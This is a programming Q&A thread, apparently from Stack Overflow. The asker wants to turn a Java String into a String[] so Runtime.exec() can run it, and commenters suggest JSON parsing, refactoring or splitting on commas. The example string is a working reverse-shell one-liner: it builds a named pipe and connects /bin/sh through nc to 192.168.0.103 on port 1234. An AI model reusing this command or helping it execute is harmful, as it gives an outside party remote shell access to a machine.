convert java String to String[] using runtime.exec()

Question

I have a method like

public String doSomething(String paramString) {
    try {
       //do something with paramString and store it in myNewValue          
       return new String(myNewValue, "UTF8");
    } catch blocks...
}

Let's say doSomething() finally returns the below string:

{"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}

Now it is actually an array of strings if you look at it, but since it was returned as a string from doSomething(), it is treated as a String alone and not String[].

Now let's say the above string is stored in str3 as :

String str3 = doSomething();

Now is there anyway that using:

Runtime.getRuntime().exec();

str3 can be converted to String[] and passed back to Runtime.getRuntime().exec();

So essentially something like:

Runtime.getRuntime().exec(some java magic here that converts str3 to String[] and then passes this String[] to this exec method itself);

Perhaps parse it as JSON and retrieve the results? I think using exec() is the wrong tool, unless you are asking how to convert that string into the output generated by running what appears to be a bash script. — Ted Hopp

how can this be done with Runtime.getRuntime().exec() ? This is the most essential thing that I need to do. Convert it using the exec() and pass it back to the same exec() itself. — qre0ct

Why do you need to use exec() for this? It seems like trying to use a hammer to inflate a tire. — Ted Hopp

It looks like you should just refactor doSomething so that it returns a String[] — castletheperson

You can split the string about , assuming that any string in the array does not contain ,

String[] string3 = doSomething(foo).split(",");

And what about the braces around the whole thing? And the quote marks around each string? And commas that might appear inside a string? And handling any escaped quote marks inside the actual quote mark delimiters?
